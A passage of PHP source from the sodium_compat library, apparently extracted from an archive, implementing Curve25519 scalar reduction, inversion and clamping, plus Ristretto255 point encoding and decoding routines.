(1 << 20)) >> 21; $s23 += $carry22; $s22 -= $carry22 << 21; // carry1 = (s1 + (int64_t) (1L << 20)) >> 21; // s2 += carry1; // s1 -= carry1 * ((uint64_t) 1L << 21); $carry1 = ($s1 + (1 << 20)) >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; // carry3 = (s3 + (int64_t) (1L << 20)) >> 21; // s4 += carry3; // s3 -= carry3 * ((uint64_t) 1L << 21); $carry3 = ($s3 + (1 << 20)) >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; // carry5 = (s5 + (int64_t) (1L << 20)) >> 21; // s6 += carry5; // s5 -= carry5 * ((uint64_t) 1L << 21); $carry5 = ($s5 + (1 << 20)) >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; // carry7 = (s7 + (int64_t) (1L << 20)) >> 21; // s8 += carry7; // s7 -= carry7 * ((uint64_t) 1L << 21); $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; // carry9 = (s9 + (int64_t) (1L << 20)) >> 21; // s10 += carry9; // s9 -= carry9 * ((uint64_t) 1L << 21); $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; // carry11 = (s11 + (int64_t) (1L << 20)) >> 21; // s12 += carry11; // s11 -= carry11 * ((uint64_t) 1L << 21); $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; // carry13 = (s13 + (int64_t) (1L << 20)) >> 21; // s14 += carry13; // s13 -= carry13 * ((uint64_t) 1L << 21); $carry13 = ($s13 + (1 << 20)) >> 21; $s14 += $carry13; $s13 -= $carry13 << 21; // carry15 = (s15 + (int64_t) (1L << 20)) >> 21; // s16 += carry15; // s15 -= carry15 * ((uint64_t) 1L << 21); $carry15 = ($s15 + (1 << 20)) >> 21; $s16 += $carry15; $s15 -= $carry15 << 21; // carry17 = (s17 + (int64_t) (1L << 20)) >> 21; // s18 += carry17; // s17 -= carry17 * ((uint64_t) 1L << 21); $carry17 = ($s17 + (1 << 20)) >> 21; $s18 += $carry17; $s17 -= $carry17 << 21; // carry19 = (s19 + (int64_t) (1L << 20)) >> 21; // s20 += carry19; // s19 -= carry19 * ((uint64_t) 1L << 21); $carry19 = ($s19 + (1 << 20)) >> 21; $s20 += $carry19; $s19 -= $carry19 << 21; // carry21 = (s21 + (int64_t) (1L << 20)) >> 21; // s22 += carry21; // s21 -= carry21 * ((uint64_t) 1L << 21); $carry21 = ($s21 + (1 << 20)) >> 21; $s22 += $carry21; $s21 -= $carry21 << 21; // s11 += s23 * 666643; // s12 += s23 * 470296; // s13 += s23 * 654183; // s14 -= s23 * 997805; // s15 += s23 * 136657; // s16 -= s23 * 683901; $s11 += self::mul($s23, 666643, 20); $s12 += self::mul($s23, 470296, 19); $s13 += self::mul($s23, 654183, 20); $s14 -= self::mul($s23, 997805, 20); $s15 += self::mul($s23, 136657, 18); $s16 -= self::mul($s23, 683901, 20); // s10 += s22 * 666643; // s11 += s22 * 470296; // s12 += s22 * 654183; // s13 -= s22 * 997805; // s14 += s22 * 136657; // s15 -= s22 * 683901; $s10 += self::mul($s22, 666643, 20); $s11 += self::mul($s22, 470296, 19); $s12 += self::mul($s22, 654183, 20); $s13 -= self::mul($s22, 997805, 20); $s14 += self::mul($s22, 136657, 18); $s15 -= self::mul($s22, 683901, 20); // s9 += s21 * 666643; // s10 += s21 * 470296; // s11 += s21 * 654183; // s12 -= s21 * 997805; // s13 += s21 * 136657; // s14 -= s21 * 683901; $s9 += self::mul($s21, 666643, 20); $s10 += self::mul($s21, 470296, 19); $s11 += self::mul($s21, 654183, 20); $s12 -= self::mul($s21, 997805, 20); $s13 += self::mul($s21, 136657, 18); $s14 -= self::mul($s21, 683901, 20); // s8 += s20 * 666643; // s9 += s20 * 470296; // s10 += s20 * 654183; // s11 -= s20 * 997805; // s12 += s20 * 136657; // s13 -= s20 * 683901; $s8 += self::mul($s20, 666643, 20); $s9 += self::mul($s20, 470296, 19); $s10 += self::mul($s20, 654183, 20); $s11 -= self::mul($s20, 997805, 20); $s12 += self::mul($s20, 136657, 18); $s13 -= self::mul($s20, 683901, 20); // s7 += s19 * 666643; // s8 += s19 * 470296; // s9 += s19 * 654183; // s10 -= s19 * 997805; // s11 += s19 * 136657; // s12 -= s19 * 683901; $s7 += self::mul($s19, 666643, 20); $s8 += self::mul($s19, 470296, 19); $s9 += self::mul($s19, 654183, 20); $s10 -= self::mul($s19, 997805, 20); $s11 += self::mul($s19, 136657, 18); $s12 -= self::mul($s19, 683901, 20); // s6 += s18 * 666643; // s7 += s18 * 470296; // s8 += s18 * 654183; // s9 -= s18 * 997805; // s10 += s18 * 136657; // s11 -= s18 * 683901; $s6 += self::mul($s18, 666643, 20); $s7 += self::mul($s18, 470296, 19); $s8 += self::mul($s18, 654183, 20); $s9 -= self::mul($s18, 997805, 20); $s10 += self::mul($s18, 136657, 18); $s11 -= self::mul($s18, 683901, 20); // carry6 = (s6 + (int64_t) (1L << 20)) >> 21; // s7 += carry6; // s6 -= carry6 * ((uint64_t) 1L << 21); $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; // carry8 = (s8 + (int64_t) (1L << 20)) >> 21; // s9 += carry8; // s8 -= carry8 * ((uint64_t) 1L << 21); $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; // carry10 = (s10 + (int64_t) (1L << 20)) >> 21; // s11 += carry10; // s10 -= carry10 * ((uint64_t) 1L << 21); $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; // carry12 = (s12 + (int64_t) (1L << 20)) >> 21; // s13 += carry12; // s12 -= carry12 * ((uint64_t) 1L << 21); $carry12 = ($s12 + (1 << 20)) >> 21; $s13 += $carry12; $s12 -= $carry12 << 21; // carry14 = (s14 + (int64_t) (1L << 20)) >> 21; // s15 += carry14; // s14 -= carry14 * ((uint64_t) 1L << 21); $carry14 = ($s14 + (1 << 20)) >> 21; $s15 += $carry14; $s14 -= $carry14 << 21; // carry16 = (s16 + (int64_t) (1L << 20)) >> 21; // s17 += carry16; // s16 -= carry16 * ((uint64_t) 1L << 21); $carry16 = ($s16 + (1 << 20)) >> 21; $s17 += $carry16; $s16 -= $carry16 << 21; // carry7 = (s7 + (int64_t) (1L << 20)) >> 21; // s8 += carry7; // s7 -= carry7 * ((uint64_t) 1L << 21); $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; // carry9 = (s9 + (int64_t) (1L << 20)) >> 21; // s10 += carry9; // s9 -= carry9 * ((uint64_t) 1L << 21); $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; // carry11 = (s11 + (int64_t) (1L << 20)) >> 21; // s12 += carry11; // s11 -= carry11 * ((uint64_t) 1L << 21); $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; // carry13 = (s13 + (int64_t) (1L << 20)) >> 21; // s14 += carry13; // s13 -= carry13 * ((uint64_t) 1L << 21); $carry13 = ($s13 + (1 << 20)) >> 21; $s14 += $carry13; $s13 -= $carry13 << 21; // carry15 = (s15 + (int64_t) (1L << 20)) >> 21; // s16 += carry15; // s15 -= carry15 * ((uint64_t) 1L << 21); $carry15 = ($s15 + (1 << 20)) >> 21; $s16 += $carry15; $s15 -= $carry15 << 21; // s5 += s17 * 666643; // s6 += s17 * 470296; // s7 += s17 * 654183; // s8 -= s17 * 997805; // s9 += s17 * 136657; // s10 -= s17 * 683901; $s5 += self::mul($s17, 666643, 20); $s6 += self::mul($s17, 470296, 19); $s7 += self::mul($s17, 654183, 20); $s8 -= self::mul($s17, 997805, 20); $s9 += self::mul($s17, 136657, 18); $s10 -= self::mul($s17, 683901, 20); // s4 += s16 * 666643; // s5 += s16 * 470296; // s6 += s16 * 654183; // s7 -= s16 * 997805; // s8 += s16 * 136657; // s9 -= s16 * 683901; $s4 += self::mul($s16, 666643, 20); $s5 += self::mul($s16, 470296, 19); $s6 += self::mul($s16, 654183, 20); $s7 -= self::mul($s16, 997805, 20); $s8 += self::mul($s16, 136657, 18); $s9 -= self::mul($s16, 683901, 20); // s3 += s15 * 666643; // s4 += s15 * 470296; // s5 += s15 * 654183; // s6 -= s15 * 997805; // s7 += s15 * 136657; // s8 -= s15 * 683901; $s3 += self::mul($s15, 666643, 20); $s4 += self::mul($s15, 470296, 19); $s5 += self::mul($s15, 654183, 20); $s6 -= self::mul($s15, 997805, 20); $s7 += self::mul($s15, 136657, 18); $s8 -= self::mul($s15, 683901, 20); // s2 += s14 * 666643; // s3 += s14 * 470296; // s4 += s14 * 654183; // s5 -= s14 * 997805; // s6 += s14 * 136657; // s7 -= s14 * 683901; $s2 += self::mul($s14, 666643, 20); $s3 += self::mul($s14, 470296, 19); $s4 += self::mul($s14, 654183, 20); $s5 -= self::mul($s14, 997805, 20); $s6 += self::mul($s14, 136657, 18); $s7 -= self::mul($s14, 683901, 20); // s1 += s13 * 666643; // s2 += s13 * 470296; // s3 += s13 * 654183; // s4 -= s13 * 997805; // s5 += s13 * 136657; // s6 -= s13 * 683901; $s1 += self::mul($s13, 666643, 20); $s2 += self::mul($s13, 470296, 19); $s3 += self::mul($s13, 654183, 20); $s4 -= self::mul($s13, 997805, 20); $s5 += self::mul($s13, 136657, 18); $s6 -= self::mul($s13, 683901, 20); // s0 += s12 * 666643; // s1 += s12 * 470296; // s2 += s12 * 654183; // s3 -= s12 * 997805; // s4 += s12 * 136657; // s5 -= s12 * 683901; // s12 = 0; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; // carry0 = (s0 + (int64_t) (1L << 20)) >> 21; // s1 += carry0; // s0 -= carry0 * ((uint64_t) 1L << 21); $carry0 = ($s0 + (1 << 20)) >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; // carry2 = (s2 + (int64_t) (1L << 20)) >> 21; // s3 += carry2; // s2 -= carry2 * ((uint64_t) 1L << 21); $carry2 = ($s2 + (1 << 20)) >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; // carry4 = (s4 + (int64_t) (1L << 20)) >> 21; // s5 += carry4; // s4 -= carry4 * ((uint64_t) 1L << 21); $carry4 = ($s4 + (1 << 20)) >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; // carry6 = (s6 + (int64_t) (1L << 20)) >> 21; // s7 += carry6; // s6 -= carry6 * ((uint64_t) 1L << 21); $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; // carry8 = (s8 + (int64_t) (1L << 20)) >> 21; // s9 += carry8; // s8 -= carry8 * ((uint64_t) 1L << 21); $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; // carry10 = (s10 + (int64_t) (1L << 20)) >> 21; // s11 += carry10; // s10 -= carry10 * ((uint64_t) 1L << 21); $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; // carry1 = (s1 + (int64_t) (1L << 20)) >> 21; // s2 += carry1; // s1 -= carry1 * ((uint64_t) 1L << 21); $carry1 = ($s1 + (1 << 20)) >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; // carry3 = (s3 + (int64_t) (1L << 20)) >> 21; // s4 += carry3; // s3 -= carry3 * ((uint64_t) 1L << 21); $carry3 = ($s3 + (1 << 20)) >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; // carry5 = (s5 + (int64_t) (1L << 20)) >> 21; // s6 += carry5; // s5 -= carry5 * ((uint64_t) 1L << 21); $carry5 = ($s5 + (1 << 20)) >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; // carry7 = (s7 + (int64_t) (1L << 20)) >> 21; // s8 += carry7; // s7 -= carry7 * ((uint64_t) 1L << 21); $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; // carry9 = (s9 + (int64_t) (1L << 20)) >> 21; // s10 += carry9; // s9 -= carry9 * ((uint64_t) 1L << 21); $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; // carry11 = (s11 + (int64_t) (1L << 20)) >> 21; // s12 += carry11; // s11 -= carry11 * ((uint64_t) 1L << 21); $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; // s0 += s12 * 666643; // s1 += s12 * 470296; // s2 += s12 * 654183; // s3 -= s12 * 997805; // s4 += s12 * 136657; // s5 -= s12 * 683901; // s12 = 0; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; // carry0 = s0 >> 21; // s1 += carry0; // s0 -= carry0 * ((uint64_t) 1L << 21); $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; // carry1 = s1 >> 21; // s2 += carry1; // s1 -= carry1 * ((uint64_t) 1L << 21); $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; // carry2 = s2 >> 21; // s3 += carry2; // s2 -= carry2 * ((uint64_t) 1L << 21); $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; // carry3 = s3 >> 21; // s4 += carry3; // s3 -= carry3 * ((uint64_t) 1L << 21); $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; // carry4 = s4 >> 21; // s5 += carry4; // s4 -= carry4 * ((uint64_t) 1L << 21); $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; // carry5 = s5 >> 21; // s6 += carry5; // s5 -= carry5 * ((uint64_t) 1L << 21); $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; // carry6 = s6 >> 21; // s7 += carry6; // s6 -= carry6 * ((uint64_t) 1L << 21); $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; // carry7 = s7 >> 21; // s8 += carry7; // s7 -= carry7 * ((uint64_t) 1L << 21); $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; // carry8 = s8 >> 21; // s9 += carry8; // s8 -= carry8 * ((uint64_t) 1L << 21); $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; // carry9 = s9 >> 21; // s10 += carry9; // s9 -= carry9 * ((uint64_t) 1L << 21); $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; // carry10 = s10 >> 21; // s11 += carry10; // s10 -= carry10 * ((uint64_t) 1L << 21); $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; // carry11 = s11 >> 21; // s12 += carry11; // s11 -= carry11 * ((uint64_t) 1L << 21); $carry11 = $s11 >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; // s0 += s12 * 666643; // s1 += s12 * 470296; // s2 += s12 * 654183; // s3 -= s12 * 997805; // s4 += s12 * 136657; // s5 -= s12 * 683901; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); // carry0 = s0 >> 21; // s1 += carry0; // s0 -= carry0 * ((uint64_t) 1L << 21); $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; // carry1 = s1 >> 21; // s2 += carry1; // s1 -= carry1 * ((uint64_t) 1L << 21); $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; // carry2 = s2 >> 21; // s3 += carry2; // s2 -= carry2 * ((uint64_t) 1L << 21); $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; // carry3 = s3 >> 21; // s4 += carry3; // s3 -= carry3 * ((uint64_t) 1L << 21); $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; // carry4 = s4 >> 21; // s5 += carry4; // s4 -= carry4 * ((uint64_t) 1L << 21); $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; // carry5 = s5 >> 21; // s6 += carry5; // s5 -= carry5 * ((uint64_t) 1L << 21); $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; // carry6 = s6 >> 21; // s7 += carry6; // s6 -= carry6 * ((uint64_t) 1L << 21); $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; // carry7 = s7 >> 21; // s8 += carry7; // s7 -= carry7 * ((uint64_t) 1L << 21); $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; // carry8 = s8 >> 21; // s9 += carry8; // s8 -= carry8 * ((uint64_t) 1L << 21); $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; // carry9 = s9 >> 21; // s10 += carry9; // s9 -= carry9 * ((uint64_t) 1L << 21); $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; // carry10 = s10 >> 21; // s11 += carry10; // s10 -= carry10 * ((uint64_t) 1L << 21); $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $s = array_fill(0, 32, 0); // s[0] = s0 >> 0; $s[0] = $s0 >> 0; // s[1] = s0 >> 8; $s[1] = $s0 >> 8; // s[2] = (s0 >> 16) | (s1 * ((uint64_t) 1 << 5)); $s[2] = ($s0 >> 16) | ($s1 << 5); // s[3] = s1 >> 3; $s[3] = $s1 >> 3; // s[4] = s1 >> 11; $s[4] = $s1 >> 11; // s[5] = (s1 >> 19) | (s2 * ((uint64_t) 1 << 2)); $s[5] = ($s1 >> 19) | ($s2 << 2); // s[6] = s2 >> 6; $s[6] = $s2 >> 6; // s[7] = (s2 >> 14) | (s3 * ((uint64_t) 1 << 7)); $s[7] = ($s2 >> 14) | ($s3 << 7); // s[8] = s3 >> 1; $s[8] = $s3 >> 1; // s[9] = s3 >> 9; $s[9] = $s3 >> 9; // s[10] = (s3 >> 17) | (s4 * ((uint64_t) 1 << 4)); $s[10] = ($s3 >> 17) | ($s4 << 4); // s[11] = s4 >> 4; $s[11] = $s4 >> 4; // s[12] = s4 >> 12; $s[12] = $s4 >> 12; // s[13] = (s4 >> 20) | (s5 * ((uint64_t) 1 << 1)); $s[13] = ($s4 >> 20) | ($s5 << 1); // s[14] = s5 >> 7; $s[14] = $s5 >> 7; // s[15] = (s5 >> 15) | (s6 * ((uint64_t) 1 << 6)); $s[15] = ($s5 >> 15) | ($s6 << 6); // s[16] = s6 >> 2; $s[16] = $s6 >> 2; // s[17] = s6 >> 10; $s[17] = $s6 >> 10; // s[18] = (s6 >> 18) | (s7 * ((uint64_t) 1 << 3)); $s[18] = ($s6 >> 18) | ($s7 << 3); // s[19] = s7 >> 5; $s[19] = $s7 >> 5; // s[20] = s7 >> 13; $s[20] = $s7 >> 13; // s[21] = s8 >> 0; $s[21] = $s8 >> 0; // s[22] = s8 >> 8; $s[22] = $s8 >> 8; // s[23] = (s8 >> 16) | (s9 * ((uint64_t) 1 << 5)); $s[23] = ($s8 >> 16) | ($s9 << 5); // s[24] = s9 >> 3; $s[24] = $s9 >> 3; // s[25] = s9 >> 11; $s[25] = $s9 >> 11; // s[26] = (s9 >> 19) | (s10 * ((uint64_t) 1 << 2)); $s[26] = ($s9 >> 19) | ($s10 << 2); // s[27] = s10 >> 6; $s[27] = $s10 >> 6; // s[28] = (s10 >> 14) | (s11 * ((uint64_t) 1 << 7)); $s[28] = ($s10 >> 14) | ($s11 << 7); // s[29] = s11 >> 1; $s[29] = $s11 >> 1; // s[30] = s11 >> 9; $s[30] = $s11 >> 9; // s[31] = s11 >> 17; $s[31] = $s11 >> 17; return self::intArrayToString($s); } /** * @param string $s * @return string */ public static function sc25519_sq($s) { return self::sc25519_mul($s, $s); } /** * @param string $s * @param int $n * @param string $a * @return string */ public static function sc25519_sqmul($s, $n, $a) { for ($i = 0; $i < $n; ++$i) { $s = self::sc25519_sq($s); } return self::sc25519_mul($s, $a); } /** * @param string $s * @return string */ public static function sc25519_invert($s) { $_10 = self::sc25519_sq($s); $_11 = self::sc25519_mul($s, $_10); $_100 = self::sc25519_mul($s, $_11); $_1000 = self::sc25519_sq($_100); $_1010 = self::sc25519_mul($_10, $_1000); $_1011 = self::sc25519_mul($s, $_1010); $_10000 = self::sc25519_sq($_1000); $_10110 = self::sc25519_sq($_1011); $_100000 = self::sc25519_mul($_1010, $_10110); $_100110 = self::sc25519_mul($_10000, $_10110); $_1000000 = self::sc25519_sq($_100000); $_1010000 = self::sc25519_mul($_10000, $_1000000); $_1010011 = self::sc25519_mul($_11, $_1010000); $_1100011 = self::sc25519_mul($_10000, $_1010011); $_1100111 = self::sc25519_mul($_100, $_1100011); $_1101011 = self::sc25519_mul($_100, $_1100111); $_10010011 = self::sc25519_mul($_1000000, $_1010011); $_10010111 = self::sc25519_mul($_100, $_10010011); $_10111101 = self::sc25519_mul($_100110, $_10010111); $_11010011 = self::sc25519_mul($_10110, $_10111101); $_11100111 = self::sc25519_mul($_1010000, $_10010111); $_11101011 = self::sc25519_mul($_100, $_11100111); $_11110101 = self::sc25519_mul($_1010, $_11101011); $recip = self::sc25519_mul($_1011, $_11110101); $recip = self::sc25519_sqmul($recip, 126, $_1010011); $recip = self::sc25519_sqmul($recip, 9, $_10); $recip = self::sc25519_mul($recip, $_11110101); $recip = self::sc25519_sqmul($recip, 7, $_1100111); $recip = self::sc25519_sqmul($recip, 9, $_11110101); $recip = self::sc25519_sqmul($recip, 11, $_10111101); $recip = self::sc25519_sqmul($recip, 8, $_11100111); $recip = self::sc25519_sqmul($recip, 9, $_1101011); $recip = self::sc25519_sqmul($recip, 6, $_1011); $recip = self::sc25519_sqmul($recip, 14, $_10010011); $recip = self::sc25519_sqmul($recip, 10, $_1100011); $recip = self::sc25519_sqmul($recip, 9, $_10010111); $recip = self::sc25519_sqmul($recip, 10, $_11110101); $recip = self::sc25519_sqmul($recip, 8, $_11010011); return self::sc25519_sqmul($recip, 8, $_11101011); } /** * @param string $s * @return string */ public static function clamp($s) { $s_ = self::stringToIntArray($s); $s_[0] &= 248; $s_[31] |= 64; $s_[31] &= 128; return self::intArrayToString($s_); } /** * Ensure limbs are less than 28 bits long to prevent float promotion. * * This uses a constant-time conditional swap under the hood. * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_normalize(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $x = (PHP_INT_SIZE << 3) - 1; // 31 or 63 $g = self::fe_copy($f); for ($i = 0; $i < 10; ++$i) { $mask = -(($g[$i] >> $x) & 1); /* * Get two candidate normalized values for $g[$i], depending on the sign of $g[$i]: */ $a = $g[$i] & 0x7ffffff; $b = -((-$g[$i]) & 0x7ffffff); /* * Return the appropriate candidate value, based on the sign of the original input: * * The following is equivalent to this ternary: * * $g[$i] = (($g[$i] >> $x) & 1) ? $a : $b; * * Except what's written doesn't contain timing leaks. */ $g[$i] = ($a ^ (($a ^ $b) & $mask)); } return $g; } } sodium_compat/src/Core/Ristretto255.php000064400000052574147177035010014054 0ustar00> 31) & 1; } /** * @param ParagonIE_Sodium_Core_Curve25519_Fe $u * @param ParagonIE_Sodium_Core_Curve25519_Fe $v * @return array{x: ParagonIE_Sodium_Core_Curve25519_Fe, nonsquare: int} * * @throws SodiumException */ public static function ristretto255_sqrt_ratio_m1( ParagonIE_Sodium_Core_Curve25519_Fe $u, ParagonIE_Sodium_Core_Curve25519_Fe $v ) { $sqrtm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1); $v3 = self::fe_mul( self::fe_sq($v), $v ); /* v3 = v^3 */ $x = self::fe_mul( self::fe_mul( self::fe_sq($v3), $u ), $v ); /* x = uv^7 */ $x = self::fe_mul( self::fe_mul( self::fe_pow22523($x), /* x = (uv^7)^((q-5)/8) */ $v3 ), $u ); /* x = uv^3(uv^7)^((q-5)/8) */ $vxx = self::fe_mul( self::fe_sq($x), $v ); /* vx^2 */ $m_root_check = self::fe_sub($vxx, $u); /* vx^2-u */ $p_root_check = self::fe_add($vxx, $u); /* vx^2+u */ $f_root_check = self::fe_mul($u, $sqrtm1); /* u*sqrt(-1) */ $f_root_check = self::fe_add($vxx, $f_root_check); /* vx^2+u*sqrt(-1) */ $has_m_root = self::fe_iszero($m_root_check); $has_p_root = self::fe_iszero($p_root_check); $has_f_root = self::fe_iszero($f_root_check); $x_sqrtm1 = self::fe_mul($x, $sqrtm1); /* x*sqrt(-1) */ $x = self::fe_abs( self::fe_cmov($x, $x_sqrtm1, $has_p_root | $has_f_root) ); return array( 'x' => $x, 'nonsquare' => $has_m_root | $has_p_root ); } /** * @param string $s * @return int * @throws SodiumException */ public static function ristretto255_point_is_canonical($s) { $c = (self::chrToInt($s[31]) & 0x7f) ^ 0x7f; for ($i = 30; $i > 0; --$i) { $c |= self::chrToInt($s[$i]) ^ 0xff; } $c = ($c - 1) >> 8; $d = (0xed - 1 - self::chrToInt($s[0])) >> 8; $e = self::chrToInt($s[31]) >> 7; return 1 - ((($c & $d) | $e | self::chrToInt($s[0])) & 1); } /** * @param string $s * @param bool $skipCanonicalCheck * @return array{h: ParagonIE_Sodium_Core_Curve25519_Ge_P3, res: int} * @throws SodiumException */ public static function ristretto255_frombytes($s, $skipCanonicalCheck = false) { if (!$skipCanonicalCheck) { if (!self::ristretto255_point_is_canonical($s)) { throw new SodiumException('S is not canonical'); } } $s_ = self::fe_frombytes($s); $ss = self::fe_sq($s_); /* ss = s^2 */ $u1 = self::fe_sub(self::fe_1(), $ss); /* u1 = 1-ss */ $u1u1 = self::fe_sq($u1); /* u1u1 = u1^2 */ $u2 = self::fe_add(self::fe_1(), $ss); /* u2 = 1+ss */ $u2u2 = self::fe_sq($u2); /* u2u2 = u2^2 */ $v = self::fe_mul( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d), $u1u1 ); /* v = d*u1^2 */ $v = self::fe_neg($v); /* v = -d*u1^2 */ $v = self::fe_sub($v, $u2u2); /* v = -(d*u1^2)-u2^2 */ $v_u2u2 = self::fe_mul($v, $u2u2); /* v_u2u2 = v*u2^2 */ // fe25519_1(one); // notsquare = ristretto255_sqrt_ratio_m1(inv_sqrt, one, v_u2u2); $one = self::fe_1(); $result = self::ristretto255_sqrt_ratio_m1($one, $v_u2u2); $inv_sqrt = $result['x']; $notsquare = $result['nonsquare']; $h = new ParagonIE_Sodium_Core_Curve25519_Ge_P3(); $h->X = self::fe_mul($inv_sqrt, $u2); $h->Y = self::fe_mul(self::fe_mul($inv_sqrt, $h->X), $v); $h->X = self::fe_mul($h->X, $s_); $h->X = self::fe_abs( self::fe_add($h->X, $h->X) ); $h->Y = self::fe_mul($u1, $h->Y); $h->Z = self::fe_1(); $h->T = self::fe_mul($h->X, $h->Y); $res = - ((1 - $notsquare) | self::fe_isnegative($h->T) | self::fe_iszero($h->Y)); return array('h' => $h, 'res' => $res); } /** * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h * @return string * @throws SodiumException */ public static function ristretto255_p3_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h) { $sqrtm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1); $invsqrtamd = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$invsqrtamd); $u1 = self::fe_add($h->Z, $h->Y); /* u1 = Z+Y */ $zmy = self::fe_sub($h->Z, $h->Y); /* zmy = Z-Y */ $u1 = self::fe_mul($u1, $zmy); /* u1 = (Z+Y)*(Z-Y) */ $u2 = self::fe_mul($h->X, $h->Y); /* u2 = X*Y */ $u1_u2u2 = self::fe_mul(self::fe_sq($u2), $u1); /* u1_u2u2 = u1*u2^2 */ $one = self::fe_1(); // fe25519_1(one); // (void) ristretto255_sqrt_ratio_m1(inv_sqrt, one, u1_u2u2); $result = self::ristretto255_sqrt_ratio_m1($one, $u1_u2u2); $inv_sqrt = $result['x']; $den1 = self::fe_mul($inv_sqrt, $u1); /* den1 = inv_sqrt*u1 */ $den2 = self::fe_mul($inv_sqrt, $u2); /* den2 = inv_sqrt*u2 */ $z_inv = self::fe_mul($h->T, self::fe_mul($den1, $den2)); /* z_inv = den1*den2*T */ $ix = self::fe_mul($h->X, $sqrtm1); /* ix = X*sqrt(-1) */ $iy = self::fe_mul($h->Y, $sqrtm1); /* iy = Y*sqrt(-1) */ $eden = self::fe_mul($den1, $invsqrtamd); $t_z_inv = self::fe_mul($h->T, $z_inv); /* t_z_inv = T*z_inv */ $rotate = self::fe_isnegative($t_z_inv); $x_ = self::fe_copy($h->X); $y_ = self::fe_copy($h->Y); $den_inv = self::fe_copy($den2); $x_ = self::fe_cmov($x_, $iy, $rotate); $y_ = self::fe_cmov($y_, $ix, $rotate); $den_inv = self::fe_cmov($den_inv, $eden, $rotate); $x_z_inv = self::fe_mul($x_, $z_inv); $y_ = self::fe_cneg($y_, self::fe_isnegative($x_z_inv)); // fe25519_sub(s_, h->Z, y_); // fe25519_mul(s_, den_inv, s_); // fe25519_abs(s_, s_); // fe25519_tobytes(s, s_); return self::fe_tobytes( self::fe_abs( self::fe_mul( $den_inv, self::fe_sub($h->Z, $y_) ) ) ); } /** * @param ParagonIE_Sodium_Core_Curve25519_Fe 